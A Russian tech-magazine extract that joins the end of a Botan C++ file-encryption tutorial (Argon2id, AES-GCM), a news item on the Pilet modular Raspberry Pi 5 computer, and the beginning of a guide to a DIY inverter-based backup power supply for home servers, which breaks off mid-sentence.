       catch (const Botan::Exception& e) {

             std::cerr << "Botan exception: " << e.what() << std::endl;
        return ERROR_DERIVE_KEY;

   }
       catch (const std::runtime_error& e) {

             std::cerr << "Runtime error: " << e.what() << std::endl;
        return ERROR_DERIVE_KEY;

   }
     catch (...) {

   
 

       std::cerr << "Unknown error occurred during key derivation."
<< std::endl;

        return ERROR_DERIVE_KEY;
   }
}

Я снабдил код комментариями, чтобы была понятна каждая строка.
В библиотеке Botan есть функция , которая позволяет сразу

выработать ключ, но в таком случае мы лишимся тонкой настройки и усиления
KDF. Обрати внимание: это  создание ключа для  шифрования, а  не для  рас‐
шифрования. Все дело в  том, что соль создается на  лету в  начале работы
функции, а при операции расшифрования соль нужно будет передать в фун‐
кцию , для этого немного изменив ее.

derive_key

derive_key_from_pass
Итак, ключ выработали, дальше по плану шифрование.

INFO

Вероятно, ты мог подумать, что число потоков
(параметр  при  вызове

) влияет только на производитель‐
ность, но не на результат. Но это не так: в алго‐
ритме Argon2id этот параметр влияет на  струк‐
туру вычислений. Процесс хеширования разделя‐
ется на несколько потоков, которые выполняются
параллельно. Из‑за этого порядок обработки
блоков изменяется в  зависимости от  количества
потоков, и  разные значения parallelism приведут
к  разным промежуточным состояниям
при хешировании и в итоге к другому хешу.

parallelism
from_params

Шифруем файл
Прежде чем начать шифровать, разберемся с  таким понятием, как  режим
шифрования. Режим работы шифра  — это  способ применения алгоритма
шифрования для  обработки данных, с  целью обеспечения конфиденциаль‐
ности, целостности и аутентичности. Блочные шифры шифруют данные бло‐
ками определенного размера (например, 128 бит для AES). Если применять
шифрование на уровне этих блоков без режима, то одинаковые блоки откры‐
того текста всегда будут преобразовываться в одинаковые блоки шифротек‐
ста. Это делает шифротекст предсказуемым и уязвимым для атак. Современ‐
ные режимы шифрования помогают еще  и контролировать целостность
зашифрованных данных (Authenticated Encryption with Associated Data, AEAD).
Разумеется, мы будем использовать один из таких режимов, под названием
GCM (Galois/Counter Mode).

INFO

У режима GCM есть слабое место  — слишком
короткий nonce. Это  ограничивает размер шиф‐
руемых данных до  64  Гбайт на  одном nonce.
В  данный момент ожидается исправленная вер‐
сия — режим .GEM

Для начала создадим и инициализируем шифратор. Для примера используем
алгоритм AES в  режиме GCM, но, разумеется, можно добавить несколько
алгоритмов шифрования на выбор.

 std::unique_ptr<Botan::AEAD_Mode> create_cipher(
     const Botan::SymmetricKey& key,
     const Botan::InitializationVector& iv,
   // Сделаем универсальный шифратор для шифрования и расшифрования
     const std::string& mode
)
{

    try {

   // Шифруем или расшифровываем?
         auto operation = (mode == "Encrypt") ?
    Botan::Cipher_Dir::Encryption :

            (mode == "Decrypt") ? Botan::Cipher_Dir::Decryption :
          throw std::invalid_argument("Invalid mode: " + mode);

    std::unique_ptr<Botan::AEAD_Mode> cipher_mode;

     Botan::SymmetricKey key(keyparams.key.data(), keyparams.key.size
());

 // Задали операцию, шифр и режим
      cipher_mode = Botan::AEAD_Mode::create_or_throw("AES-GCM",
operation);

 // Передали ключ и IV
   cipher_mode->set_key(key);
   cipher_mode->start(iv);

   }
     catch (...) {

        throw std::runtime_error("Failed to create cipher mode");
   }

    return cipher_mode;
}

Шифратор создан. Теперь все готово для процесса шифрования.

 size_t encrypt_file(
     const std::string& inputFile,
     const std::string& outputFile,
     const KeyParam& keyparams
)
{

    try {

       // in — файл, который шифруется (прочитан в output_data)
       // out — выходной зашифрованный файл

        std::unique_ptr<Botan::AEAD_Mode> cryptor;
        Botan::AutoSeeded_RNG rng;

   // Для режима GCM IV должен быть 96 бит
         Botan::InitializationVector iv(rng, 12);

       // В выходной файл записываются IV и соль, требуемые для 
расшифровки

         out.write(reinterpret_cast<const char*>(iv.data()), iv.size
());

 
 

       out.write(reinterpret_cast<const char*>(keyparams.salt.data
()), keyparams.salt.size());

           cryptor = create_cipher(key, iv, "Encrypt");

   // Шифруем разом весь буфер output_data, в который прочитан 
шифруемый файл

        cryptor->finish(output_data, 0);

         out.write(reinterpret_cast<const char*>(output_data.data()),
output_data.size());

        return ERROR_OK;

    catch (...)
   {
       in.close();
       out.close();

        return ERROR_ENCRYPT;
   }
}

После того как  функция отработает, на  выходе мы получим зашифрованный
файл, имеющий в качестве заголовка IV (для расшифровки) и соль (для KDF),
то есть случайные данные, которые нельзя отличить от самого зашифрован‐
ного файла. По сути, у нашего зашифрованного файла ноль метаданных, свя‐
занных с шифрованием.

INFO

Помни, что все метаданные могут быть исполь‐
зованы против тебя атакующим  — он заранее
будет знать, с  какими параметрами взламывать
твой зашифрованный файл. Что касается соли
и  IV, в  соответствии с 
в секрете нужно держать только ключ.

принципом Керкгоффса

Как проверить правильность расшифровки и целостность данных
У нас есть зашифрованный нами файл, теперь нам нужно его как‑то рас‐
шифровать. Программа для расшифровки должна, кроме прочего, понять, что
файл расшифрован правильно,  — это  реализуется за  счет использования
AEAD-режима шифрования.

Мы сможем переиспользовать основную часть уже написанного кода, вне‐
ся небольшие изменения.

В первую очередь подправим функцию   —

для расшифрования нам не надо генерировать соль, вместо этого ее нужно
будет передать в  эту функцию в  качестве параметра. Разумеется, как  соль,
так и  IV нужно будет извлечь из зашифрованного файла, просто прочитав их
в самом начале.

derive_key_from_pass

После этого приступаем к непосредственной расшифровке:

 size_t decrypt_file(
     const std::string& inputFile,
     const std::string& outputFile,
     const Botan::InitializationVector& iv
)
{

    try {
       // in — файл, который расшифровывается
       // out — выходной расшифрованный файл
       // IV мы просто прочитали в начале файла
       // output_data — буфер, содержащий зашифрованный файл

        std::unique_ptr<Botan::AEAD_Mode> cryptor;

           cryptor = create_cipher(key, iv, "Decrypt");

       // Расшифровываем весь буфер output_data, в который прочитан 
зашифрованный файл

        cryptor->finish(output_data, 0);

       // Записываем на диск расшифрованный файл
         out.write(reinterpret_cast<const char*>(output_data.data()),

output_data.size());

        return ERROR_OK;

 // Проверка на целостность расшифрованных данных
     catch (const Botan::Invalid_Authentication_Tag&)
   {
       in.close();
       out.close();

        return ERROR_DECRYPT;
   }
}

Обрати внимание на  исключение   —
оно сигнализирует, что твои данные были расшифрованы неправильно (по
любой причине, будь то неправильный пароль или поврежденный файл). Если
ты захочешь встроить в свое приложение возможность шифрования несколь‐
кими алгоритмами на  выбор, то при  помощи этого исключения легко орга‐
низовать перебор возможных вариантов расшифрования на разных алгорит‐
мах: если все алгоритмы перепробованы, но исключение все‑таки возникает,
значит, пароль неверный.

Botan::Invalid_Authentication_Tag

INFO

В статье я ничего не  говорил о безопасном уда‐
лении ключей из  памяти и  прочих подобных
вещах. В  ситуации, когда злоумышленник спо‐
собен получить доступ к  твоему компьютеру
на  уровне, достаточном для  снятия дампов ОЗУ,
любое шифрование, скорее всего, теряет смысл.

Что с квантовыми вычислениями?
Квантовые компьютеры обещают изменить ландшафт криптографии, сильно
ослабив шифрование. Влияние квантовых вычислений на безопасность сим‐
метричного и  асимметричного шифрования варьируется в  зависимости
от используемых алгоритмов.

Асимметричное шифрование: квантовые компьютеры практически пол‐
ностью уничтожат безопасность RSA, эллиптических криптографических сис‐
тем и  других схем, основанных на  дискретных логарифмах и  факторизации,
если будут реализованы мощные квантовые компьютеры. Но  в той же биб‐
лиотеке Botan уже реализована постквантовая асимметрика.

С симметричным шифрованием ситуация лучше, но квантовые компьюте‐
ры все же способны ослабить безопасность симметричных алгоритмов.
Основной виновник  — , который позволяет квантовому
компьютеру ускорить атаку брутфорсом.

алгоритм Гровера

Алгоритм Гровера может искать в  неупорядоченных данных, таких
как пространство паролей или ключей, с квадратичным ускорением. Это зна‐
чит, что если на  классическом компьютере требуется  2^n операций
для  перебора всех возможных ключей, то на  квантовом компьютере с  алго‐
ритмом Гровера это число сократится до 2^n/2.

В таком случае симметричные алгоритмы будут ослаблены квантовыми
компьютерами в  два раза, но  это не  приведет к  полной компрометации.
Для  защиты от  квантовых атак можно просто удвоить длину ключа, что зна‐
чительно повысит безопасность. Можно, например, использовать AES-
256  вместо AES-128  или  взять Threefish-512  для  обеспечения стойкос‐
ти 256 бит.

ВЫВОДЫ

Сегодня ты узнал больше о защите данных с помощью симметричного шиф‐
рования и  теперь способен написать ПО, шифрование которого очень неп‐
росто взломать, даже если у атакующего будут полные исходные тексты твоей
программы. Надеюсь, тебя увлечет тема криптографии, потому что в  сов‐
ременном мире только шифрование способно надежно защитить твои дан‐
ные от киберпреступников.

mailto:xtahi0nix@gmail.com
https://github.com/randombit/botan
https://en.wikipedia.org/wiki/Known-plaintext_attack
https://en.wikipedia.org/wiki/Password_Hashing_Competition
https://datatracker.ietf.org/doc/html/rfc9106#name-parameter-choice
https://csrc.nist.gov/csrc/media/Presentations/2024/galois-extended-mode/images-media/sess-6-arciszewski-acm-workshop-2024.pdf
https://en.wikipedia.org/wiki/Kerckhoffs%27s_principle
https://en.wikipedia.org/wiki/Grover%27s_algorithm
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На Kickstarter  и  уже набрал  500  тысяч долларов
проект Pilet. Это  открытый модульный портативный
мини‑компьютер на  базе Raspberry Pi 5, созданный
для  любителей DIY, разработчиков и  энтузиастов. Он отли‐
чается ретрофутуристичным дизайном и будет поставляться
в двух вариантах.

стартовал

 будет иметь  5-дюймовый экран, встроенную клавиатуру и  другие
органы управления, а    — 7-дюймовый тачскрин и  возможность под‐

ключения внешних модулей.

Pilet 5

Pilet 7

Цены на  оба устройства составляют около  200  долларов США без  учета
необходимой для работы Pilet платы . Кампания уже превысила
цель по сбору средств, а поставки ожидаются к концу 2025 года.

Raspberry Pi 5

ЖЕЛЕЗО

Давай поближе взглянем на оба варианта Pilet.
  — компактная и  более портативная версия с  5-дюймовым экра‐

ном, физической клавиатурой, трекболом и  колесом прокрутки. Небольшие
размеры делают его отличным выбором для работы в дороге. К Pilet 5 можно
будет подключать внешние модули: например, расширить память или  уста‐
новить LTE-модем.

Pilet 5

 оснащен  7-дюймовым сенсорным экраном с  разрешени‐

ем  1280  на  800  пикселей. Это  устройство рассчитано на  универсальность:
к планшету можно будет докупать аксессуары вроде клавиатуры и геймпада,
что расширяет его возможности.

Pilet 7

«Мозгом» обеих версий будет Raspberry Pi 5  — одноплатный компьютер
с  четырехъядерным процессором ARM Cortex-A76  и  графическим процес‐
сором VideoCore VII. Он позволит Pilet легко справляться с  задачами вроде
программирования, игр и воспроизведения мультимедиа.

Память в  обеих моделях можно будет расширять за  счет модулей NVMe
SSD, к  тому же устройства поддерживают подключения через два HDMI-
выхода, порты USB 3.0, гигабитный Ethernet и зарядку по USB-C.

Технические характеристики

 Raspberry Pi 5

(все варианты).

• Поддерживаемые одноплатные компьютеры (SBC):

 литий‑полимерные и  литий‑ионные батареи  3,7  В,
USB-C 5 В.

• Источник питания:

 IPS-экраны  5  и  7  дюймов, интерфейс DSI, разрешение  1280 ✕

800, емкостный сенсорный экран.

• Экран:

 2  порта microHDMI, 2  порта USB 3.0,

2 порта USB 2.0, программируемый GPIO.

• Интерфейсы ввода‑вывода:

 Wi-Fi 802.11ac, порт Ethernet, Bluetooth 5.0, сотовая связь LTE (через
внешний модуль).

• Сеть:

 SD-карта, NVMe SSD (через модуль).• Хранение данных:

 175 ✕ 125 ✕ 28 мм.• Габариты:

Для охлаждения предусмотрена гибридная система: металлическая задняя
панель отвечает за  пассивное охлаждение, а  встроенный вентилятор  —
за активное, защищая компоненты от перегрева.

Питаются устройства от двух батарей емкостью 8000 мА · ч, которые дол‐
жны обеспечивать до семи часов автономной работы. Зарядка через USB-C
делает их еще удобнее для длительного использования.

СОФТ

О софте подробностей пока меньше всего. Известно, что будет исполь‐
зоваться Linux и  своя оболочка на  базе KDE Plasma. В  целом пользователи
могут выбрать любой подходящий для Raspberry Pi дистрибутив Linux на свой
вкус. Например, RetroPie — для запуска ретроигр и эмуляторов игровых кон‐
солей  — или  даже Kali, BlackArch и  им подобные дистрибутивы  — сам
понимаешь для чего.

ОПЕНСОРС

Разработчики Pilet обещают поддерживать максимальную открытость и  пуб‐
ликовать не только исходные коды, но и чертежи и файлы с моделями.

Вот все, что будет предоставлено по лицензиям GPL и CERN-OHL-S (она
идейно схожа с GPL-3, но предназначена для хардверных проектов):

 Полные схемы всех разработанных электронных компонентов.

Не упрощенные версии, а именно полные чертежи, раскрывающие реаль‐
ные функции оборудования.

• Схемы.

 Будут предоставлены исходные файлы

печатных плат, созданные в  KiCAD. Это  позволяет изучать работу платы,
вносить изменения и улучшения.

• Файлы печатных плат (PCB).

 Все файлы CAD, STEP и STL будут доступны для заг‐

рузки. Их можно легко редактировать в  любом CAD-приложении
и печатать на 3D-принтере.

• CAD/STEP-файлы.

 Полностью открытый исходный код

для кастомного ПО, включая низкоуровневую прошивку для микроконтрол‐
леров (в модуле батареи, клавиатуре, контроллерах) и  высокоуровневые
приложения, такие как инструмент мониторинга батареи.

• Программное обеспечение.

Исходный код будет доступен с  началом поставок первых устройств Pilet.
Сначала доступ получат тестировщики, но  позже исходники будут опуб‐
ликованы для широкой аудитории.

После публикации дизайнов и кода на GitHub сообщество сможет вносить
свой вклад — в том числе через пул‑реквесты. Разработчики также могут про‐
ектировать свои кастомные модули для Pilet и делиться ими.

ЦЕНА И ДОСТУПНОСТЬ

В данный момент Pilet 5 на Kickstarter можно заказать за 215 долларов США,
а  Pilet 7  — за  202  доллара США (цены неровные, поскольку платить нужно
в канадских долларах).

INFO

Плата Raspberry Pi 5 не включена в базовую сто‐
имость и приобретается отдельно. Официальные
цены производителя на  нее составляют
от  60  долларов США за  версию с  2  Гбайт ОЗУ
до  90  за  версию с  8  Гбайт. Также ожидается
новая версия с 16 Гбайт по цене выше 100 дол‐
ларов США.

Участники кампании смогут получить свои устройства после завершения сбо‐
ра средств и производства. По обещаниям авторов проекта это случится уже
летом  2025  года, но  подобные проекты имеют свойство откладываться
на значительные сроки.

Модули расширения для  Pilet 7, показанные на  картинках (клавиатура
и  игровой контроллер), пока что заказать нельзя, поскольку работа над  их
проектированием еще не завершена. Разработчики обещают держать заказ‐
чиков в курсе и сообщить о поступлении этих модулей в продажу.

Вариант модуля для Pilet 7 с игровым контроллером

Помимо этого, владелец Pilet может самостоятельно докупить модуль NVMe
SSD для хранения данных. О доступности и стоимости модулей LTE пока что
ничего не известно.

ИТОГИ

Pilet — занятный проект с упором на модульность и открытость, но его успех
не  гарантирован. Хардверные проекты часто сталкиваются с  задержками,
сложностями производства и техническими проблемами. Если Pilet не прив‐
лечет достаточно пользователей, сообщество может потерять интерес, а это
ставит под угрозу развитие экосистемы и появление обновлений.

Разработчики на первый взгляд кажутся энтузиастами своего дела, но нет
никакой информации об  их опыте в  реализации крупных аппаратных про‐
ектов. Это  должно вызывать вопросы у  потенциальных спонсоров, учитывая
сложность устройства. Никогда нельзя исключать, что перед нами очередные
шарлатаны.

Модульность  — тоже довольно неоднозначное решение. Это  главная
фишка Pilet, но она же усложняет его разработку и производство.

В общем, помни, что это  не готовое решение «из коробки», а  Kickstarter
не  интернет‑магазин. Все, как  всегда, зависит не  столько от  хайпа (его уже
предостаточно), а от готовности фаундеров преодолевать сложности.

https://www.kickstarter.com/projects/soulscircuit/pilet-opensource-modular-portable-mini-computer
https://xakep.ru/2023/09/29/raspberry-pi-5/
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Чаще всего люди отказываются ставить
сервер дома или  в офисе потому, что
для  него нужно обеспечить надежный
источник резервного питания. А  это,
как известно, удовольствие не из дешевых.
В  этой статье я расскажу, как  за отно‐
сительно небольшие деньги собрать
источник питания, который гарантированно
обеспечит твоим серверам несколько
часов работы.

ЭКОНОМИЧЕСКАЯ МОТИВАЦИЯ

Мы рассмотрим относительно самодельное решение. Самодельное  —
потому что мы не будем покупать готовый ИБП для нашей серверной, а отно‐
сительно  — потому что собирать его мы будем из  готовых компонентов.
Ничего паять не  нужно, а  из инструментов тебе понадобится как  минимум
отвертка, а как максимум — комплект гаечных ключей.

Однако сначала нужно оценить, сколько стоят готовые решения, чтобы
понять, имеет ли смысл наша затея. В  качестве примера возьмем сначала
недорогой UPS STR500SL-18 (500 В ⋅ А / 400 Вт), цена на данный момент сос‐
тавляет  39  800  рублей, а  при  80% нагрузки мы получим  30  мин автономной
работы.

STR500SL-18

Сам понимаешь, 400 Вт (а 80% — это 320 Вт) — не наш вариант, маловато.
Несмотря на  то что этот ИБП стоечный, он подойдет только для  питания
обычного (не игрового) компа. В  серверной он пригодится разве что
для  питания маломощного сетевого оборудования вроде всяких свитчей,
роутеров и прочей подобной техники. Не подумай, что я критикую конкретно
эту модель, — это касается всех подобных решений на 500 В ⋅ А / 400 Вт.

Возьмем более дорогой UPS — STR1103SL. Фото приводить не стану: он
похож на  предыдущую модель, отличается только цветом экрана и  немного
другой его формой. Что мы получим за довольно ощутимые 92 460 рублей?
В характеристиках все солидно: 3 кВ ⋅ А / 2,7 кВт. А при 80%-й нагрузке мы
получим всего четыре минуты автономной работы. То есть если твое обо‐
рудование потребляет  2700  Вт ⋅ 0,8 = 2160  Вт, то ты продержишься всего
лишь четыре минуты и ни секундой дольше.

У меня в  хозяйстве есть парочка старичков HP Proliant, каждый с  блоком
питания по  700  Вт. Конечно, 1,4  кВт они никогда не  потребляли, но  в сред‐
нем, в зависимости от нагрузки, каждый из них кушает по 500 Вт. Если быть
предельно точным, то 2,2 А при напряжении 227 В — это 499,4 Вт. Возьмем
с запасом: 600 Вт каждый, итого 1200 Вт. А наш STR1103SL может выдержать
нагрузку  2160  Вт аж четыре минуты, следовательно, если выключат свет, то
этот UPS обеспечит автономность на  восемь минут. Маловато. Также
к недостаткам подобных ИБП можно отнести долгое время зарядки батареи:
может случиться, что к  следующему отключению света батарея не  успеет
зарядиться полностью.

Конечно, есть и  UPS, к  которым можно подключить внешние батареи,
в результате чего время работы будет зависеть от емкости внешних батарей.
Но цена такого решения без батарей составляет 182 440 рублей. По нынеш‐
нему курсу это  1754  доллара (пересчитываю, поскольку компоненты нужно
будет заказывать на  всем известном китайском сайте, а  эти товарищи счи‐
тают всё в долларах). Дороговато, не так ли?

АЛЬТЕРНАТИВА

В качестве альтернативы подобным решениям я предлагаю использовать
гибридные инверторы. Обычный инвертор, как мы знаем, позволяет преобра‐
зовать постоянный ток, который он возьмет, скажем, от  аккумуля‐
тора 12 В (даже обычного автомобильного), в переменный ток 220 В.

Гибридный инвертор используется в солнечных станциях и позволяет под‐
ключать не  только батареи, но  и солнечные панели, а  также подмешивать
энергию из сети. Схема такой солнечной станции показана ниже.

Солнечная станция

Алгоритм функционирования такой системы зависит от настроек инвертора,
но обычно все работает так:

Если можно получить энергию от солнечных панелей и подключенная наг‐
рузка ее не  превышает, то мы питаемся от  солнечных панелей и  умень‐
шаем счет за  электричество. Остаток энергии сбрасывается в  батарею
или продается в сеть по зеленому тарифу.

•

Если солнечные панели не перекрывают нагрузку, то энергия подмешива‐
ется из сети или батареи, когда сети нет. Другими словами, панели сейчас
вырабатывают  1  кВт энергии, а  нам нужно  1,5  кВт. Так вот, недос‐
тающие 500 Вт будут взяты из сети или из батареи (например, если сети
нет или если в настройках указано, что нужно использовать сначала энер‐
гию аккумулятора).

•

В качестве сети также может выступать генератор. Например, если в розетке
нет напряжения, инвертор может подать сигнал на  запуск генератора
для зарядки батареи или питания нагрузки.

Все это выглядит очень сложно и очень дорого. Но теперь представим, что
ни  генератора, ни  солнечных панелей у  нас нет. Имеется только инвертор,
батарея, сеть и нагрузка. В итоге мы получим идеальный ИБП для нашей сер‐
верной, квартиры или  даже всего частного дома (о многоэтажках речи
не идет). Просто огромный «повербанк» для всего помещения.

Сразу оговорюсь: подобное решение вряд ли устроит дата‑центры, пос‐
кольку там не два‑три сервера, а гораздо больше и для резервного питания
уместнее использовать дизельные генераторы на 20–30 кВт. Можно постро‐
ить и солнечную станцию на 30 кВт, но такое решение уже вряд ли будет счи‐
таться бюджетным. Но, учитывая, что дизельный генератор тоже стоит
немало, все нужно просчитывать. Мы сейчас углубляться в математику с эко‐
номикой не  будем. Наша задача  — обеспечить питание нашей мини‑сер‐
верной, а  в качестве бонуса мы получим резервное питание для  всего
помещения.

АЛЬТЕРНАТИВА АЛЬТЕРНАТИВЕ

Конечно, есть и  альтернативы гибридным инверторам. Например, те же
генераторы. Но  в квартире или  в офисе ты не  сможешь его использовать
по  понятным причинам, а  в частном доме или  на каком‑нибудь загородном
объекте генератор подходит разве что в качестве «резерва для резерва» —
когда батарея разрядилась, сети нет, а заряжать ее чем‑то надо. Шум, вонь,
необходимость хранения запасов ГСМ (бензин или дизель), регулярная зап‐
равка, периодическое техническое обслуживание (нужно регулярно менять
масло, свечи и прочее)… В общем, это не решение для XXI века.

Однако если ты погружался в вопрос обеспечения резервного питания, то
наверняка видел в  продаже зарядные станции вроде EcoFlow. Продукт
на самом деле неплохой. Та же Delta 2 держит нагрузку 1,8 кВт (с моменталь‐
ной перегрузкой в 2700 Вт), имеет «запас хода» 1024 Вт ⋅ ч и стоит 96 тысяч
рублей.

Что такое «запас хода», она же емкость, выраженная в  ватт‑часах (Wh)?
Если мы говорим о  конкретной цифре в  1024  Вт ⋅ ч, то это  означает, что
при нагрузке в 1 кВт батарея должна продержаться около одного часа. Если
брать пример с  двумя серверами, потребляющими  1–1,2  кВт в  час, то
это устройство продержится чуть менее часа. Не очень много, но все же луч‐
ше, чем восемь минут за  те же деньги. Конечно, можно за  76  тысяч рублей
подключить еще  одну батарею на  1024  Вт ⋅ ч, и  общий запас у  тебя
будет  2048  Вт ⋅ ч, а  обойдется тебе вся эта затея в  172  тысячи. Все равно
дорого.

ПРИБОРЫ И МАТЕРИАЛЫ

Для начала перечислим, что нам понадобится. Нам нужны следующие ком‐
поненты:

гибридный инвертор;•
аккумулятор(ы) или ячейки, если ты решишь собирать аккумулятор сам;•
плата BMS, если будешь делать аккумулятор самостоятельно;•
провода нужного сечения, идущие от аккумулятора к инвертору;•
медные луженые наконечники нужного типа и  размера (размер зависит
от сечения кабеля);

•

кабель пятижильный ВВГнг или  ПВС, сечение (2,5, 4  или  6) зависит
от мощности инвертора;

•

два двухполюсных автоматических выключателя нужного номинала;•
опционально: предохранитель или  автоматический выключатель для  пос‐
тоянного тока, номинал зависит от инвертора (от 100 А);

•

щиток для автоматов минимум на шесть мест.•

Пока это общий список, и по мере выбора оборудования он будет уточняться.
Выбор компонентов зависит от  самого инвертора, аккумулятора, а  также
от  способа подключения. Но  обо всем по  порядку. Ничего не  покупай, пока
не  приобретешь инвертор. Затем внимательно прочитай руководство
и выбери компоненты под нужную модель.

ВЫБОР ИНВЕРТОРА

Выбор инвертора зависит от  планируемой нагрузки. Начнем с  напряжения
аккумулятора. Существуют три вида систем — 12, 24 и 48 В. Первую отбра‐
сываем сразу  — такие инверторы выдерживают нагрузку не  более  1,5  кВт
и  нам не  подходят. Поэтому выбирать придется между  24  и  48  В. Вторая
категория дороже, поэтому ты должен просчитать, хватит ли тебе 24 В. Мак‐
симум, что можно получить из  такой системы,  — это  4,2  кВт (по факту  —
4 кВт), в природе нет более мощных инверторов для аккумуляторов на 24 В.

Как понять, какая у тебя будет нагрузка? Да очень легко:
Если нужно обеспечить резервное питание серверной стойки, то она,
как правило, подключается к одной розетке. Обычные розетки типа Schuko
рассчитаны максимум на 16 А или 3,5 кВт. Больше (даже если ты будешь

использовать кабель сечением  6  мм ) она не  выдержит  — расплавится.
Покупаем простейший ваттметр, вставляем его в  розетку, а  к нему под‐
ключаем вилку от  блока розеток твоей стойки. Ваттметр показывает пот‐
ребление подключенных устройств, и на основании этого ты принимаешь
решение.

•
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Если нужно обеспечить резервное питание всего помещения, в  котором
установлены серверы, то есть дома или квартиры, то в щиток нужно под‐
ключить амперметр и оценить нагрузку.

•

По опыту, если стойка питается от одной розетки, система на 24 В тебя дол‐
жна устроить. Если стойка питается от  двух розеток, то, значит, все не  так
просто — две раздельные линии, два отдельных автоматических выключателя
намекают на 7 кВт, поэтому твой выбор — 48 В.

Если же брать домашнее или  офисное применение, то нужно учитывать
дополнительную нагрузку. Устанавливаем амперметр (или ваттметр, но  они
дороже, поэтому можно обойтись обычным амперметром, а  потом умно‐
жить  230  В  на полученное значение и  узнать нагрузку в  ваттах) в  щиток
и смотрим, сколько потребляют твои девайсы. Включаем телевизор, обычные
компьютеры, свет и так далее. Понятно, мощные потребители вроде кондици‐
онера, стиральной, посудомоечной машины, электродуховки и прочей кухон‐
ной утвари включать не нужно — вряд ли ты захочешь использовать эти при‐
боры, когда нет электричества. Даже если ты купишь инвертор на 10 кВт и два
аккумулятора по 5 кВт и твоя система выдержит 10 кВт, то ты высадишь акку‐
муляторы за час — в этом нет никакого смысла.

Современные устройства довольно экономные, и 500–600 Вт должно хва‐
тить на  всё. Конкретно в  моем случае дом потребляет не  более  500  Вт ⋅ ч
при условии, что отключены мощные потребители. Этого хватает на все осве‐
щение, телевизоры, ноутбуки, камеры наблюдения, газовый котел зимой,
холодильник и прочее. Плюс два сервера‑старичка по 500 Вт каждый, итого
имеем  1,5  кВт нагрузки. Исходя из  этого, для  меня оптимальным выбором
стала система на  24  В, сердцем которой служит инвертор на  3,2  кВт.
Самодельный аккумулятор при  такой нагрузке обеспечивает два часа авто‐
номной работы. Забегая вперед, скажу, что вся система обошлась мне
в 700 долларов — инвертор, АВР, ячейки, плата BMS и прочие мелочи.

Система на 48 В нужна, если нагрузка будет превышать 4 кВт, поскольку
гибридных инверторов 24 В с большей мощностью я не встречал. Даже если
у тебя постоянная нагрузка сейчас составляет 3 кВт или чуть больше, также
есть смысл рассмотреть систему на  48  В  — так сказать, с  прицелом
на будущее.

Также систему на 48 В нужно рассматривать, если у тебя трехфазная про‐
водка. Слабенькие устройства из линейки 24 В такое не вытянут.

По ценам: гибридный инвертор на всем известном китайском сайте обой‐
дется от  200 (даже есть еще  дешевле) до  300  долларов, если речь идет
о 24 В, и от 300 долларов, если нам нужна система на 48 В. Самое дорогое,
как ты уже успел догадаться, не инвертор, а аккумулятор.

Нам подойдут следующие варианты аккумуляторов:
автомобильные аккумуляторы — два (24 В) или четыре (48 В);•
самодельный аккумулятор из литиевых ячеек;•
самодельный аккумулятор из литий‑железо‑фосфатных ячеек;•
готовый аккумулятор на 24 или 48 В.•

АВТОМОБИЛЬНЫЕ АККУМУЛЯТОРЫ

Автомобильные аккумуляторы на  12  В  — самое простое и  самое дешевое
решение. Они подойдут в случае, если:

покупать готовый аккумулятор для тебя дорого;•
собирать аккумулятор своими руками ты боишься или тебе просто лень;•
система резервного питания тебе нужна на  сейчас: при  условии, что
инвертор уже куплен, аккумуляторы можно купить в  любом супермаркете
или автомагазине;

•

если электричество отключают редко и  между отключениями достаточно
времени, чтобы аккумуляторы успели зарядиться.

•

К преимуществам автомобильных аккумуляторов можно отнести дешевизну
и  простоту. Два аккумулятора типа AGM по  100  А  ⋅ ч обойдутся примерно
в 34 тысячи рублей. В итоге мы получим 24 ⋅ 100 = 2400 Вт ⋅ ч (это грубо, пос‐
кольку автомобильные аккумуляторы, даже AGM, полностью разряжать
нежелательно). Но  в любом случае при  нагрузке  1  кВт (наши два условных
сервера) мы сможем протянуть два часа. Что неплохо, учитывая, что UPS
обойдется нам долларов в пятьсот (инвертор и два аккумулятора).

На что нужно обращать внимание при  покупке автомобильных аккумуля‐
торов?

Тип аккумулятора — AGM или гель. Обычные свинцовые аккумуляторы пло‐
хо переносят полный разряд, при этом количество циклов заряд — разряд
не  превышает  500, а  обычно составляет около  300. Другими словами,
если свет будут отключать каждый день по два часа, то есть аккумуляторы
будут разряжаться почти полностью, то их хватит примерно на год. Даль‐
ше  — потеря емкости, вместо двух часов автономной работы они будут
работать, скажем, один час.

•

Аккумуляторы должны быть одинаковой емкости, одного типа (не исполь‐
зуй свинцово‑кислотные и AGM вместе), желательно одного производите‐
ля и  даже одной партии. То есть тебе нужно два или  четыре абсолютно
одинаковых аккумулятора.

•

Пусковой ток, расположение клемм и  прочие характеристики не  имеют
значения.

•

К недостаткам автомобильных аккумуляторов можно отнести низкую скорость
заряда. Максимальный ток заряда автомобильных аккумуляторов  — 10  А,
гелевые допускают до 15 А. Если ты совсем ничего в этом не понимаешь, тог‐
да объясняю на  нашем примере. Имеем два аккумулятора AGM (WET
или  свинцово‑кислотные не  рассматриваем) по  100  А  ⋅ ч. Грубая расчетная
емкость  — 2400  Вт ⋅ ч. Из  нее вычитаем  400  Вт ⋅ ч, поскольку даже AGM
не рекомендуется разряжать полностью, но все‑таки они лучше переживают
глубокий разряд, чем WET.

Наши два сервера «скушают» 2000  Вт за  два часа. То есть аккумуляторы
будут полностью разряжены. Для компенсации их заряда понадобится почти
десять часов (100 А ⋅ ч делим на 10 А) или чуть меньше при условии, что мы их
не разрядили полностью за эти два часа. Если свет отключают несколько раз
в  сутки, то важно, чтобы между отключениями проходило десять часов
или больше, иначе батарейка не успеет полностью зарядиться. Если отклю‐
чения происходят чаще, нужно рассмотреть более емкие аккумуляторы, ска‐
жем на 200 А ⋅ ч.

Теперь разберемся, как  подключать автомобильные аккумуляторы и  что
для этого нужно. Существует две схемы подключения аккумуляторов: парал‐
лельное и  последовательное. Параллельное используется для  увеличения
емкости батареи. Если мы возьмем два аккумулятора на  12  В  по  100  А  ⋅ ч
и  подключим их параллельно, мы получим «один большой» аккумулятор
на  200  А  ⋅ ч на  12  В. Последовательное подключение используется
для повышения напряжения. Если мы последовательно подключим два акку‐
мулятора 12 В емкостью 100 А ⋅ ч, то получим одну батарейку 24 В на 100 А ⋅ ч.

На следующем рисунке показано, как правильно подключать автомобиль‐
ные аккумуляторы, чтобы получить напряжение 24 и 48 В.

Последовательное соединение аккумуляторов

Обрати внимание, что на схеме есть значок предохранителя. Вместо предох‐
ранителя можно также использовать автоматический выключатель для  пос‐
тоянного тока (DC) на 100–125 А.

Поговорим о  токе. В  качестве примера опять возьмем систему на  24  В.
Пусть мы купили инвертор на  3  кВт и  у нас имеется два аккумулятора
по  100  А  ⋅ ч с  расчетной емкостью  2400  Вт. Мы установили DC-автомат
